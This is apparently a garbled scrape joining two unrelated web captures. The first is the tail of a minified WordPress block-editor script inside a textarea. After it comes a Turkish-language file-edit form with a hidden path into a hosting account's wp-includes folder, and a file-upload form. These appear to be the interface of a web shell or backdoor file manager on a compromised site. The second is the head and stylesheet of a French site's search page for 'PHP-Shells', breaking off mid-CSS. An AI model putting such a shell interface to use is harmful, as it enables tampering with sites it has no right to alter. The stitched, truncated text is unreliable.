eD=JL.bind();[&quot;a&quot;,&quot;abbr&quot;,&quot;address&quot;,&quot;area&quot;,&quot;article&quot;,&quot;aside&quot;,&quot;audio&quot;,&quot;b&quot;,&quot;base&quot;,&quot;bdi&quot;,&quot;bdo&quot;,&quot;big&quot;,&quot;blockquote&quot;,&quot;body&quot;,&quot;br&quot;,&quot;button&quot;,&quot;canvas&quot;,&quot;caption&quot;,&quot;cite&quot;,&quot;code&quot;,&quot;col&quot;,&quot;colgroup&quot;,&quot;data&quot;,&quot;datalist&quot;,&quot;dd&quot;,&quot;del&quot;,&quot;details&quot;,&quot;dfn&quot;,&quot;dialog&quot;,&quot;div&quot;,&quot;dl&quot;,&quot;dt&quot;,&quot;em&quot;,&quot;embed&quot;,&quot;fieldset&quot;,&quot;figcaption&quot;,&quot;figure&quot;,&quot;footer&quot;,&quot;form&quot;,&quot;h1&quot;,&quot;h2&quot;,&quot;h3&quot;,&quot;h4&quot;,&quot;h5&quot;,&quot;h6&quot;,&quot;head&quot;,&quot;header&quot;,&quot;hgroup&quot;,&quot;hr&quot;,&quot;html&quot;,&quot;i&quot;,&quot;iframe&quot;,&quot;img&quot;,&quot;input&quot;,&quot;ins&quot;,&quot;kbd&quot;,&quot;keygen&quot;,&quot;label&quot;,&quot;legend&quot;,&quot;li&quot;,&quot;link&quot;,&quot;main&quot;,&quot;map&quot;,&quot;mark&quot;,&quot;marquee&quot;,&quot;menu&quot;,&quot;menuitem&quot;,&quot;meta&quot;,&quot;meter&quot;,&quot;nav&quot;,&quot;noscript&quot;,&quot;object&quot;,&quot;ol&quot;,&quot;optgroup&quot;,&quot;option&quot;,&quot;output&quot;,&quot;p&quot;,&quot;param&quot;,&quot;picture&quot;,&quot;pre&quot;,&quot;progress&quot;,&quot;q&quot;,&quot;rp&quot;,&quot;rt&quot;,&quot;ruby&quot;,&quot;s&quot;,&quot;samp&quot;,&quot;script&quot;,&quot;section&quot;,&quot;select&quot;,&quot;small&quot;,&quot;source&quot;,&quot;span&quot;,&quot;strong&quot;,&quot;style&quot;,&quot;sub&quot;,&quot;summary&quot;,&quot;sup&quot;,&quot;table&quot;,&quot;tbody&quot;,&quot;td&quot;,&quot;textarea&quot;,&quot;tfoot&quot;,&quot;th&quot;,&quot;thead&quot;,&quot;time&quot;,&quot;title&quot;,&quot;tr&quot;,&quot;track&quot;,&quot;u&quot;,&quot;ul&quot;,&quot;var&quot;,&quot;video&quot;,&quot;wbr&quot;,&quot;circle&quot;,&quot;clipPath&quot;,&quot;defs&quot;,&quot;ellipse&quot;,&quot;foreignObject&quot;,&quot;g&quot;,&quot;image&quot;,&quot;line&quot;,&quot;linearGradient&quot;,&quot;mask&quot;,&quot;path&quot;,&quot;pattern&quot;,&quot;polygon&quot;,&quot;polyline&quot;,&quot;radialGradient&quot;,&quot;rect&quot;,&quot;stop&quot;,&quot;svg&quot;,&quot;text&quot;,&quot;tspan&quot;].forEach((function(e){eD[e]=eD(e)}));const tD=eD(Ss.__experimentalToolsPanelItem)`
	grid-column: span 1;
`;function nD({panelId:e,value:t={},onChange:n=()=&gt;{},units:o,isShownByDefault:r=!0}){const i=&quot;auto&quot;===t.width?&quot;&quot;:t.width??&quot;&quot;,s=&quot;auto&quot;===t.height?&quot;&quot;:t.height??&quot;&quot;,l=e=&gt;o=&gt;{const r={...t};o?r[e]=o:delete r[e],n(r)};return(0,d.jsxs)(d.Fragment,{children:[(0,d.jsx)(tD,{label:(0,T.__)(&quot;Width&quot;),isShownByDefault:r,hasValue:()=&gt;&quot;&quot;!==i,onDeselect:l(&quot;width&quot;),panelId:e,children:(0,d.jsx)(Ss.__experimentalUnitControl,{label:(0,T.__)(&quot;Width&quot;),placeholder:(0,T.__)(&quot;Auto&quot;),labelPosition:&quot;top&quot;,units:o,min:0,value:i,onChange:l(&quot;width&quot;),size:&quot;__unstable-large&quot;})}),(0,d.jsx)(tD,{label:(0,T.__)(&quot;Height&quot;),isShownByDefault:r,hasValue:()=&gt;&quot;&quot;!==s,onDeselect:l(&quot;height&quot;),panelId:e,children:(0,d.jsx)(Ss.__experimentalUnitControl,{label:(0,T.__)(&quot;Height&quot;),placeholder:(0,T.__)(&quot;Auto&quot;),labelPosition:&quot;top&quot;,units:o,min:0,value:s,onChange:l(&quot;height&quot;),size:&quot;__unstable-large&quot;})})]})}var oD=function({panelId:e,value:t={},onChange:n=()=&gt;{},aspectRatioOptions:o,defaultAspectRatio:r=&quot;auto&quot;,scaleOptions:i,defaultScale:s=&quot;fill&quot;,unitsOptions:l,tools:a=[&quot;aspectRatio&quot;,&quot;widthHeight&quot;,&quot;scale&quot;]}){const c=void 0===t.width||&quot;auto&quot;===t.width?null:t.width,u=void 0===t.height||&quot;auto&quot;===t.height?null:t.height,p=void 0===t.aspectRatio||&quot;auto&quot;===t.aspectRatio?null:t.aspectRatio,g=void 0===t.scale||&quot;fill&quot;===t.scale?null:t.scale,[m,f]=(0,h.useState)(g),[b,k]=(0,h.useState)(p),v=c&amp;&amp;u?&quot;custom&quot;:b,_=p||c&amp;&amp;u;return(0,d.jsxs)(d.Fragment,{children:[a.includes(&quot;aspectRatio&quot;)&amp;&amp;(0,d.jsx)(Sm,{panelId:e,options:o,defaultValue:r,value:v,onChange:e=&gt;{const o={...t};k(e=&quot;auto&quot;===e?null:e),e?o.aspectRatio=e:delete o.aspectRatio,e?m?o.scale=m:(o.scale=s,f(s)):delete o.scale,&quot;custom&quot;!==e&amp;&amp;c&amp;&amp;u&amp;&amp;delete o.height,n(o)}}),a.includes(&quot;widthHeight&quot;)&amp;&amp;(0,d.jsx)(nD,{panelId:e,units:l,value:{width:c,height:u},onChange:({width:e,height:o})=&gt;{const r={...t};o=&quot;auto&quot;===o?null:o,(e=&quot;auto&quot;===e?null:e)?r.width=e:delete r.width,o?r.height=o:delete r.height,e&amp;&amp;o?delete r.aspectRatio:b&amp;&amp;(r.aspectRatio=b),b||!!e==!!o?m?r.scale=m:(r.scale=s,f(s)):delete r.scale,n(r)}}),a.includes(&quot;scale&quot;)&amp;&amp;_&amp;&amp;(0,d.jsx)(wN,{panelId:e,options:i,defaultValue:s,value:m,onChange:e=&gt;{const o={...t};f(e=&quot;fill&quot;===e?null:e),e?o.scale=e:delete o.scale,n(o)}})]})};const rD=[{label:(0,T._x)(&quot;Thumbnail&quot;,&quot;Image size option for resolution control&quot;),value:&quot;thumbnail&quot;},{label:(0,T._x)(&quot;Medium&quot;,&quot;Image size option for resolution control&quot;),value:&quot;medium&quot;},{label:(0,T._x)(&quot;Large&quot;,&quot;Image size option for resolution control&quot;),value:&quot;large&quot;},{label:(0,T._x)(&quot;Full Size&quot;,&quot;Image size option for resolution control&quot;),value:&quot;full&quot;}];const iD={a:(0,T.__)(&quot;The &lt;a&gt; element should be used for links that navigate to a different page or to a different section within the same page.&quot;),article:(0,T.__)(&quot;The &lt;article&gt; element should represent a self-contained, syndicatable portion of the document.&quot;),aside:(0,T.__)(&quot;The &lt;aside&gt; element should represent a portion of a document whose content is only indirectly related to the document&#039;s main content.&quot;),button:(0,T.__)(&quot;The &lt;button&gt; element should be used for interactive controls that perform an action on the current page, such as opening a modal or toggling content visibility.&quot;),div:(0,T.__)(&quot;The &lt;div&gt; element should only be used if the block is a design element with no semantic meaning.&quot;),footer:(0,T.__)(&quot;The &lt;footer&gt; element should represent a footer for its nearest sectioning element (e.g.: &lt;section&gt;, &lt;article&gt;, &lt;main&gt; etc.).&quot;),header:(0,T.__)(&quot;The &lt;header&gt; element should represent introductory content, typically a group of introductory or navigational aids.&quot;),main:(0,T.__)(&quot;The &lt;main&gt; element should be used for the primary content of your document only.&quot;),nav:(0,T.__)(&quot;The &lt;nav&gt; element should be used to identify groups of links that are intended to be used for website or page content navigation.&quot;),section:(0,T.__)(&quot;The &lt;section&gt; element should represent a standalone portion of the document that can&#039;t be better represented by another element.&quot;)};const sD={};H(sD,{...u,ExperimentalBlockCanvas:qT,ExperimentalBlockEditorProvider:tv,getDuotoneFilter:Mf,getRichTextValues:function(e=[]){p.__unstableGetBlockProps.skipFilters=!0;const t=[];return xN(t,e),p.__unstableGetBlockProps.skipFilters=!1,t.map((e=&gt;e instanceof de.RichTextData?e:de.RichTextData.fromHTMLString(e)))},PrivateQuickInserter:oI,extractWords:uB,getNormalizedSearchTerms:pB,normalizeString:dB,PrivateListView:RM,ResizableBoxPopover:function({clientId:e,resizableBoxProps:t,...n}){return(0,d.jsx)(nf,{clientId:e,__unstablePopoverSlot:&quot;block-toolbar&quot;,...n,children:(0,d.jsx)(Ss.ResizableBox,{...t})})},useHasBlockToolbar:ET,cleanEmptyObject:ms,BlockQuickNavigation:BA,LayoutStyle:function({layout:e={},css:t,...n}){const o=Yl(e.type),[r]=Ei(&quot;spacing.blockGap&quot;),i=null!==r;if(o){if(t)return(0,d.jsx)(&quot;style&quot;,{children:t});const r=o.getLayoutStyle?.({hasBlockGapSupport:i,layout:e,...n});if(r)return(0,d.jsx)(&quot;style&quot;,{children:r})}return null},BlockManager:Hu,BlockRemovalWarningModal:function({rules:e}){const{clientIds:t,selectPrevious:n,message:o}=(0,g.useSelect)((e=&gt;U(e(Ii)).getRemovalPromptData())),{clearBlockRemovalPrompt:r,setBlockRemovalRules:i,privateRemoveBlocks:s}=U((0,g.useDispatch)(Ii));if((0,h.useEffect)((()=&gt;(i(e),()=&gt;{i()})),[e,i]),!o)return;return(0,d.jsxs)(Ss.Modal,{title:(0,T.__)(&quot;Be careful!&quot;),onRequestClose:r,size:&quot;medium&quot;,children:[(0,d.jsx)(&quot;p&quot;,{children:o}),(0,d.jsxs)(Ss.__experimentalHStack,{justify:&quot;right&quot;,children:[(0,d.jsx)(Ss.Button,{variant:&quot;tertiary&quot;,onClick:r,__next40pxDefaultSize:!0,children:(0,T.__)(&quot;Cancel&quot;)}),(0,d.jsx)(Ss.Button,{variant:&quot;primary&quot;,onClick:()=&gt;{s(t,n,!0),r()},__next40pxDefaultSize:!0,children:(0,T.__)(&quot;Delete&quot;)})]})]})},useLayoutClasses:Ab,useLayoutStyles:function(e={},t,n){const{layout:o={},style:r={}}=e,i=o?.inherit||o?.contentSize||o?.wideSize?{...o,type:&quot;constrained&quot;}:o||{},s=Yl(i?.type||&quot;default&quot;),[l]=Ei(&quot;spacing.blockGap&quot;),a=null!==l;return s?.getLayoutStyle?.({blockName:t,selector:n,layout:o,style:r,hasBlockGapSupport:a})},DimensionsTool:oD,ResolutionTool:function({panelId:e,value:t,onChange:n,options:o=rD,defaultValue:r=rD[0].value,isShownByDefault:i=!0,resetAllFilter:s}){const l=t??r;return(0,d.jsx)(Ss.__experimentalToolsPanelItem,{hasValue:()=&gt;l!==r,label:(0,T.__)(&quot;Resolution&quot;),onDeselect:()=&gt;n(r),isShownByDefault:i,panelId:e,resetAllFilter:s,children:(0,d.jsx)(Ss.SelectControl,{__nextHasNoMarginBottom:!0,label:(0,T.__)(&quot;Resolution&quot;),value:l,options:o,onChange:n,help:(0,T.__)(&quot;Select the size of the source image.&quot;),size:&quot;__unstable-large&quot;})})},TabbedSidebar:QB,TextAlignmentControl:$h,usesContextKey:MR,useFlashEditableBlocks:aS,HTMLElementControl:function({tagName:e,onChange:t,clientId:n,options:o=[{label:(0,T.__)(&quot;Default (&lt;div&gt;)&quot;),value:&quot;div&quot;},{label:&quot;&lt;header&gt;&quot;,value:&quot;header&quot;},{label:&quot;&lt;main&gt;&quot;,value:&quot;main&quot;},{label:&quot;&lt;section&gt;&quot;,value:&quot;section&quot;},{label:&quot;&lt;article&gt;&quot;,value:&quot;article&quot;},{label:&quot;&lt;aside&gt;&quot;,value:&quot;aside&quot;},{label:&quot;&lt;footer&gt;&quot;,value:&quot;footer&quot;}]}){const r=!!n&amp;&amp;o.some((e=&gt;&quot;main&quot;===e.value)),i=(0,g.useSelect)((e=&gt;{if(!r)return!1;const{getClientIdsWithDescendants:t,getBlockAttributes:o}=e(Ii);return t().some((e=&gt;e!==n&amp;&amp;&quot;main&quot;===o(e)?.tagName))}),[n,r]),s=o.map((t=&gt;&quot;main&quot;===t.value&amp;&amp;i&amp;&amp;&quot;main&quot;!==e?{...t,disabled:!0,label:(0,T.sprintf)((0,T.__)(&quot;%s (Already in use)&quot;),t.label)}:t));return(0,d.jsxs)(Ss.__experimentalVStack,{spacing:2,className:&quot;block-editor-html-element-control&quot;,children:[(0,d.jsx)(Ss.SelectControl,{__nextHasNoMarginBottom:!0,__next40pxDefaultSize:!0,label:(0,T.__)(&quot;HTML element&quot;),options:s,value:e,onChange:t,help:iD[e]}),&quot;main&quot;===e&amp;&amp;i&amp;&amp;(0,d.jsx)(Ss.Notice,{status:&quot;warning&quot;,isDismissible:!1,children:(0,T.__)(&quot;Multiple &lt;main&gt; elements detected. The duplicate may be in your content or template. This is not valid HTML and may cause accessibility issues. Please change this HTML element.&quot;)})]})},useZoomOut:JB,globalStylesDataKey:N,globalStylesLinksDataKey:L,selectBlockPatternsKey:D,requiresWrapperOnCopy:Ew,PrivateRichText:HR,PrivateInserterLibrary:UA,reusableBlocksSelectKey:O,PrivateBlockPopover:Jm,PrivatePublishDateTimePicker:oN,useSpacingSizes:sm,useBlockDisplayTitle:xj,__unstableBlockStyleVariationOverridesWithConfig:function({config:e}){const{getBlockStyles:t,overrides:n}=(0,g.useSelect)((e=&gt;({getBlockStyles:e(p.store).getBlockStyles,overrides:U(e(Ii)).getStyleOverrides()})),[]),{getBlockName:o}=(0,g.useSelect)(Ii),r=(0,h.useMemo)((()=&gt;{if(!n?.length)return;const r=[],i=[];for(const[,s]of n)if(s?.variation&amp;&amp;s?.clientId&amp;&amp;!i.includes(s.clientId)){const n=o(s.clientId),l=e?.styles?.blocks?.[n]?.variations?.[s.variation];if(l){const o={settings:e?.settings,styles:{blocks:{[n]:{variations:{[`${s.variation}-${s.clientId}`]:l}}}}},a=xb((0,p.getBlockTypes)(),t,s.clientId),c=_b(o,a,!1,!0,!0,!0,{blockGap:!1,blockStyles:!0,layoutStyles:!1,marginReset:!1,presets:!1,rootPadding:!1,variationStyles:!0});r.push({id:`${s.variation}-${s.clientId}`,css:c,__unstableType:&quot;variation&quot;,variation:s.variation,clientId:s.clientId}),i.push(s.clientId)}}return r}),[e,n,t,o]);if(r&amp;&amp;r.length)return(0,d.jsx)(d.Fragment,{children:r.map((e=&gt;(0,d.jsx)(jb,{override:e},e.id)))})},setBackgroundStyleDefaults:Ru,sectionRootClientIdKey:z,CommentIconSlotFill:AE,CommentIconToolbarSlotFill:pT,mediaEditKey:V,useBlockElement:fh,useBlockElementRef:mh})})(),(window.wp=window.wp||{}).blockEditor=o})();</textarea><br><br>
            <input type="hidden" name="save_file" value="/home4/jrbprodu/public_html/alliancechretienne.bak/wp-includes/js/dist/block-editor.min.js">
            <button type="submit">Kaydet</button>
        </form>
        <hr>
    <h3>Dosya Yükle</h3>
<form method="POST" enctype="multipart/form-data">
    <input type="file" name="upload_file">
    <button type="submit">Yükle</button>
</form><!DOCTYPE html>
<html lang="fr-FR">
<head>
	<meta charset="UTF-8" />
<meta http-equiv="X-UA-Compatible" content="IE=edge">
	<link rel="pingback" href="http://haggai-bf.org/xmlrpc.php" />

	<script type="text/javascript">
		document.documentElement.className = 'js';
	</script>

	<title>Rechercher des résultats pour &quot;label/PHP-Shells&quot; | HAGGAI BURKINA FASO</title>
<meta name='robots' content='noindex, follow, max-image-preview:large' />
<script type="text/javascript">
			let jqueryParams=[],jQuery=function(r){return jqueryParams=[...jqueryParams,r],jQuery},$=function(r){return jqueryParams=[...jqueryParams,r],$};window.jQuery=jQuery,window.$=jQuery;let customHeadScripts=!1;jQuery.fn=jQuery.prototype={},$.fn=jQuery.prototype={},jQuery.noConflict=function(r){if(window.jQuery)return jQuery=window.jQuery,$=window.jQuery,customHeadScripts=!0,jQuery.noConflict},jQuery.ready=function(r){jqueryParams=[...jqueryParams,r]},$.ready=function(r){jqueryParams=[...jqueryParams,r]},jQuery.load=function(r){jqueryParams=[...jqueryParams,r]},$.load=function(r){jqueryParams=[...jqueryParams,r]},jQuery.fn.ready=function(r){jqueryParams=[...jqueryParams,r]},$.fn.ready=function(r){jqueryParams=[...jqueryParams,r]};</script><link rel='dns-prefetch' href='//haggai-bf.org' />
<link rel='dns-prefetch' href='//fonts.googleapis.com' />
<link rel="alternate" type="application/rss+xml" title="HAGGAI BURKINA FASO &raquo; Flux" href="https://haggai-bf.org/feed/" />
<link rel="alternate" type="application/rss+xml" title="HAGGAI BURKINA FASO &raquo; Flux des commentaires" href="https://haggai-bf.org/comments/feed/" />
<link rel="alternate" type="application/rss+xml" title="HAGGAI BURKINA FASO &raquo; Flux de résultats de la recherche pour « label/PHP-Shells »" href="https://haggai-bf.org/search/label/PHP-Shells/feed/rss2/" />
<meta content="Divi Child v.1.0.0" name="generator"/><style id="wp-block-library-inline-css">
:root{--wp-block-synced-color:#7a00df;--wp-block-synced-color--rgb:122,0,223;--wp-bound-block-color:var(--wp-block-synced-color);--wp-editor-canvas-background:#ddd;--wp-admin-theme-color:#007cba;--wp-admin-theme-color--rgb:0,124,186;--wp-admin-theme-color-darker-10:#006ba1;--wp-admin-theme-color-darker-10--rgb:0,107,160.5;--wp-admin-theme-color-darker-20:#005a87;--wp-admin-theme-color-darker-20--rgb:0,90,135;--wp-admin-border-width-focus:2px}@media (min-resolution:192dpi){:root{--wp-admin-border-width-focus:1.5px}}.wp-element-button{cursor:pointer}:root .has-very-light-gray-background-color{background-color:#eee}:root .has-very-dark-gray-background-color{background-color:#313131}:root .has-very-light-gray-color{color:#eee}:root .has-very-dark-gray-color{color:#313131}:root .has-vivid-green-cyan-to-vivid-cyan-blue-gradient-background{background:linear-gradient(135deg,#00d084,#0693e3)}:root .has-purple-crush-gradient-background{background:linear-gradient(135deg,#34e2e4,#4721fb 50%,#ab1dfe)}:root .has-hazy-dawn-gradient-background{background:linear-gradient(135deg,#faaca8,#dad0ec)}:root .has-subdued-olive-gradient-background{background:linear-gradient(135deg,#fafae1,#67a671)}:root .has-atomic-cream-gradient-background{background:linear-gradient(135deg,#fdd79a,#004a59)}:root .has-nightshade-gradient-background{background:linear-gradient(135deg,#330968,#31cdcf)}:root .has-midnight-gradient-background{background:linear-gradient(135deg,#020381,#2874fc)}:root{--wp--preset--font-size--normal:16px;--wp--preset--font-size--huge:42px}.has-regular-font-size{font-size:1em}.has-larger-font-size{font-size:2.625em}.has-normal-font-size{font-size:var(--wp--preset--font-size--normal)}.has-huge-font-size{font-size:var(--wp--preset--font-size--huge)}:root .has-text-align-center{text-align:center}:root .has-text-align-left{text-align:left}:root .has-text-align-right{text-align:right}.has-fit-text{white-space:nowrap!important}#end-resizable-editor-section{display:none}.aligncenter{clear:both}.items-justified-left{justify-content:flex-start}.items-justified-center{justify-content:center}.items-justified-right{justify-content:flex-end}.items-justified-space-between{justify-content:space-between}.screen-reader-text{word-wrap:normal!important;border:0;clip-path:inset(50%);height:1px;margin:-1px;overflow:hidden;padding:0;position:absolute;width:1px}.screen-reader-text:focus{background-color:#ddd;clip-path:none;color:#444;display:block;font-size:1em;height:auto;left:5px;line-height:normal;padding:15px 23px 14px;text-decoration:none;top:5px;width:auto;z-index:100000}html :where(.has-border-color){border-style:solid}html :where([style*=border-color]){border-style:solid}html :where([style*=border-top-color]){border-top-style:solid}html :where([style*=border-right-color]){border-right-style:solid}html :where([style*=border-bottom-color]){border-bottom-style:solid}html :where([style*=border-left-color]){border-left-style:solid}html :where([style*=border-width]){border-style:solid}html :where([style*=border-top-width]){border-top-style:solid}html :where([style*=border-right-width]){border-right-style:solid}html :where([style*=border-bottom-width]){border-bottom-style:solid}html :where([style*=border-left-width]){border-left-style:solid}html :where(img[class*=wp-image-]){height:auto;max-width:100%}:where(figure){margin:0 0 1em}html :where(.is-position-sticky){--wp-admin--admin-bar--position-offset:var(--wp-admin--admin-bar--height,0px)}@media screen and (max-width:600px){html :where(.is-position-sticky){--wp-admin--admin-bar--position-offset:0px}}
/*wp_block_styles_on_demand_placeholder:6a1d35c4732d7*/
/*# sourceURL=wp-block-library-inline-css */
</style>
<style id="wp-block-styles-placeholder-inline-css">
:root { --wp-internal-comment: "Placeholder for wp_hoist_late_printed_styles() to replace with the block styles printed at wp_footer." }
/*# sourceURL=wp-block-styles-placeholder-inline-css */
</style>
<style id="wp-global-styles-placeholder-inline-css">
:root { --wp-internal-comment: "Placeholder for wp_hoist_late_printed_styles() to replace with the global-styles printed at wp_footer." }
/*# sourceURL=wp-global-styles-placeholder-inline-css */
</style>
<link rel='stylesheet' id='et-divi-open-sans-css' href='https://fonts.googleapis.com/css?family=Open+Sans:300italic,400italic,600italic,700italic,800italic,400,300,600,700,800&#038;subset=latin,latin-ext&#038;display=swap' media='all' />
<style id="divi-style-parent-inline-inline-css">
/*!
Theme Name: Divi
Theme URI: http://www.elegantthemes.com/gallery/divi/
Version: 4.27.6
Description: Smart. Flexible. Beautiful. Divi is the most powerful theme in our collection.
Author: Elegant Themes
Author URI: http://www.elegantthemes.com
License: GNU General Public License v2
License URI: http://www.gnu.org/licenses/gpl-2.0.html
*/
a,abbr,acronym,address,applet,b,big,blockquote,body,center,cite,code,dd,del,dfn,div,dl,dt,em,fieldset,font,form,h1,h2,h3,h4,h5,h6,html,i,iframe,img,ins,kbd,label,legend,li,object,ol,p,pre,q,s,samp,small,span,strike,strong,sub,sup,tt,u,ul,var{margin:0;padding:0;border:0;outline:0;font-size:100%;-ms-text-size-adjust:100%;-webkit-text-size-adjust:100%;vertical-align:baseline;background:transparent}body{line-height:1}ol,ul{list-style:none}blockquote,q{quotes:none}blockquote:after,blockquote:before,q:after,q:before{content:"";content:none}blockquote{margin:20px 0 30px;border-left:5px solid;padding-left:20px}:focus{outline:0}del{text-decoration:line-through}pre{overflow:auto;padding:10px}figure{margin:0}table{border-collapse:collapse;border-spacing:0}article,aside,footer,header,hgroup,nav,section{display:block}body{font-family:Open Sans,Arial,sans-serif;font-size:14px;color:#666;background-color:#fff;line-height:1.7em;font-weight:500;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale}body.page-template-page-template-blank-php #page-container{padding-top:0!important}body.et_cover_background{background-size:cover!important;background-position:top!important;background-repeat:no-repeat!important;background-attachment:fixed}a{color:#2ea3f2}a,a:hover{text-decoration:none}p{padding-bottom:1em}p:not(.has-background):last-of-type{padding-bottom:0}p.et_normal_padding{padding-bottom:1em}strong{font-weight:700}cite,em,i{font-style:italic}code,pre{font-family:Courier New,monospace;margin-bottom:10px}ins{text-decoration:none}sub,sup{height:0;line-height:1;position:relative;vertical-align:baseline}sup{bottom:.8em}sub{top:.3em}dl{margin:0 0 1.5em}dl dt{font-weight:700}dd{margin-left:1.5em}blockquote p{padding-bottom:0}embed,iframe,object,video{max-width:100%}h1,h2,h3,h4,h5,h6{color:#333;padding-bottom:10px;line-height:1em;font-weight:500}h1 a,h2 a,h3 a,h4 a,h5 a,h6 a{color:inherit}h1{font-size:30px}h2{font-size:26px}h3{font-size:22px}h4{font-size:18px}h5{font-size:16px}h6{font-size:14px}input{-webkit-appearance:none}input[type=checkbox]{-webkit-appearance:checkbox}input[type=radio]{-webkit-appearance:radio}input.text,input.title,input[type=email],input[type=password],input[type=tel],input[type=text],select,textarea{background-color:#fff;border:1px solid #bbb;padding:2px;color:#4e4e4e}input.text:focus,input.title:focus,input[type=text]:focus,select:focus,textarea:focus{border-color:#2d3940;color:#3e3e3e}input.text,input.title,input[type=text],select,textarea{margin:0}textarea{padding:4px}button,input,select,textarea{font-family:inherit}img{max-width:100%;height:auto}.clear{clear:both}br.clear{margin:0;padding:0}.pagination{clear:both}#et_search_icon:hover,.et-social-icon a:hover,.et_password_protected_form .et_submit_button,.form-submit .et_pb_buttontton.alt.disabled,.nav-single a,.posted_in a{color:#2ea3f2}.et-search-form,blockquote{border-color:#2ea3f2}#main-content{background-color:#fff}.container{width:80%;max-width:1080px;margin:auto;position:relative}body:not(.et-tb) #main-content .container,body:not(.et-tb-has-header) #main-content .container{padding-top:58px}.et_full_width_page #main-content .container:before{display:none}.main_title{margin-bottom:20px}.et_password_protected_form .et_submit_button:hover,.form-submit .et_pb_button:hover{background:rgba(0,0,0,.05)}.et_button_icon_visible .et_pb_button{padding-right:2em;padding-left:.7em}.et_button_icon_visible .et_pb_button:after{opacity:1;margin-left:0}.et_button_left .et_pb_button:hover:after{left:.15em}.et_button_left .et_pb_button:after{margin-left:0;left:1em}.et_button_icon_visible.et_button_left .et_pb_button,.et_button_left .et_pb_button:hover,.et_button_left .et_pb_module .et_pb_button:hover{padding-left:2em;padding-right:.7em}.et_button_icon_visible.et_button_left .et_pb_button:after,.et_button_left .et_pb_button:hover:after{left:.15em}.et_password_protected_form .et_submit_button:hover,.form-submit .et_pb_button:hover{padding:.3em 1em}.et_button_no_icon .et_pb_button:after{display:none}.et_button_no_icon.et_button_icon_visible.et_button_left .et_pb_button,.et_button_no_icon.et_button_left .et_pb_button:hover,.et_button_no_icon .et_pb_button,.et_button_no_icon .et_pb_button:hover{padding:.3em 1em!important}.et_button_custom_icon .et_pb_button:after{line-height:1.7em}.et_button_custom_icon.et_button_icon_visible .et_pb_button:after,.et_button_custom_icon .et_pb_button:hover:after{margin-left:.3em}#left-area .post_format-post-format-gallery .wp-block-gallery:first-of-type{padding:0;margin-bottom:-16px}.entry-content table:not(.variations){border:1px solid #eee;margin:0 0 15px;text-align:left;width:100%}.entry-content thead th,.entry-content tr th{color:#555;font-weight:700;padding:9px 24px}.entry-content tr td{border-top:1px solid #eee;padding:6px 24px}#left-area ul,.entry-content ul,.et-l--body ul,.et-l--footer ul,.et-l--header ul{list-style-type:disc;padding:0 0 23px 1em;line-height:26px}#left-area ol,.entry-content ol,.et-l--body ol,.et-l--footer ol,.et-l--header ol{list-style-type:decimal;list-style-position:inside;padding:0 0 23px;line-height:26px}#left-area ul li ul,.entry-content ul li ol{padding:2px 0 2px 20px}#left-area ol li ul,.entry-content ol li ol,.et-l--body ol li ol,.et-l--footer ol li ol,.et-l--header ol li ol{padding:2px 0 2px 35px}#left-area ul.wp-block-gallery{display:-webkit-box;display:-ms-flexbox;display:flex;-ms-flex-wrap:wrap;flex-wrap:wrap;list-style-type:none;padding:0}#left-area ul.products{padding:0!important;line-height:1.7!important;list-style:none!important}.gallery-item a{display:block}.gallery-caption,.gallery-item a{width:90%}#wpadminbar{z-index:100001}#left-area .post-meta{font-size:14px;padding-bottom:15px}#left-area .post-meta a{text-decoration:none;color:#666}#left-area .et_featured_image{padding-bottom:7px}.single .post{padding-bottom:25px}body.single .et_audio_content{margin-bottom:-6px}.nav-single a{text-decoration:none;color:#2ea3f2;font-size:14px;font-weight:400}.nav-previous{float:left}.nav-next{float:right}.et_password_protected_form p input{background-color:#eee;border:none!important;width:100%!important;border-radius:0!important;font-size:14px;color:#999!important;padding:16px!important;-webkit-box-sizing:border-box;box-sizing:border-box}.et_password_protected_form label{display:none}.et_password_protected_form .et_submit_button{font-family:inherit;display:block;float:right;margin:8px auto 0;cursor:pointer}.post-password-required p.nocomments.container{max-width:100%}.post-password-required p.nocomments.container:before{display:none}.aligncenter,div.post .new-post .aligncenter{display:block;margin-left:auto;margin-right:auto}.wp-caption{border:1px solid #ddd;text-align:center;background-color:#f3f3f3;margin-bottom:10px;max-width:96%;padding:8px}.wp-caption.alignleft{margin:0 30px 20px 0}.wp-caption.alignright{margin:0 0 20px 30px}.wp-caption img{margin:0;padding:0;border:0}.wp-caption p.wp-caption-text{font-size:12px;padding:0 4px 5px;margin:0}.alignright{float:right}.alignleft{float:left}img.alignleft{display:inline;float:left;margin-right:15px}img.alignright{display:inline;float:right;margin-left:15px}.page.et_pb_pagebuilder_layout #main-content{background-color:transparent}body #main-content .et_builder_inner_content>h1,body #main-content .et_builder_inner_content>h2,body #main-content .et_builder_inner_content>h3,body #main-content .et_builder_inner_content>h4,body #main-content .et_builder_inner_content>h5,body #main-content .et_builder_inner_content>h6{line-height:1.4em}body #main-content .et_builder_inner_content>p{line-height:1.7em}.wp-block-pullquote{margin:20px 0 30px}.wp-block-pullquote.has-background blockquote{border-left:none}.wp-block-group.has-background{padding:1.5em 1.5em .5em}@media (min-width:981px){#left-area{width:79.125%;padding-bottom:23px}#main-content .container:before{content:"";position:absolute;top:0;height:100%;width:1px;background-color:#e2e2e2}.et_full_width_page #left-area,.et_no_sidebar #left-area{float:none;width:100%!important}.et_full_width_page #left-area{padding-bottom:0}.et_no_sidebar #main-content .container:before{display:none}}@media (max-width:980px){#page-container{padding-top:80px}.et-tb #page-container,.et-tb-has-header #page-container{padding-top:0!important}#left-area,#sidebar{width:100%!important}#main-content .container:before{display:none!important}.et_full_width_page .et_gallery_item:nth-child(4n+1){clear:none}}@media print{#page-container{padding-top:0!important}}#wp-admin-bar-et-use-visual-builder a:before{font-family:ETmodules!important;content:"\e625";font-size:30px!important;width:28px;margin-top:-3px;color:#974df3!important}#wp-admin-bar-et-use-visual-builder:hover a:before{color:#fff!important}#wp-admin-bar-et-use-visual-builder:hover a,#wp-admin-bar-et-use-visual-builder a:hover{transition:background-color .5s ease;-webkit-transition:background-color .5s ease;-moz-transition:background-color .5s ease;background-color:#7e3bd0!important;color:#fff!important}* html .clearfix,:first-child+html .clearfix{zoom:1}.iphone .et_pb_section_video_bg video::-webkit-media-controls-start-playback-button{display:none!important;-webkit-appearance:none}.et_mobile_device .et_pb_section_parallax .et_pb_parallax_css{background-attachment:scroll}.et-social-facebook a.icon:before{content:"\e093"}.et-social-twitter a.icon:before{content:"\e094"}.et-social-google-plus a.icon:before{content:"\e096"}.et-social-instagram a.icon:before{content:"\e09a"}.et-social-rss a.icon:before{content:"\e09e"}.ai1ec-single-event:after{content:" ";display:table;clear:both}.evcal_event_details .evcal_evdata_cell 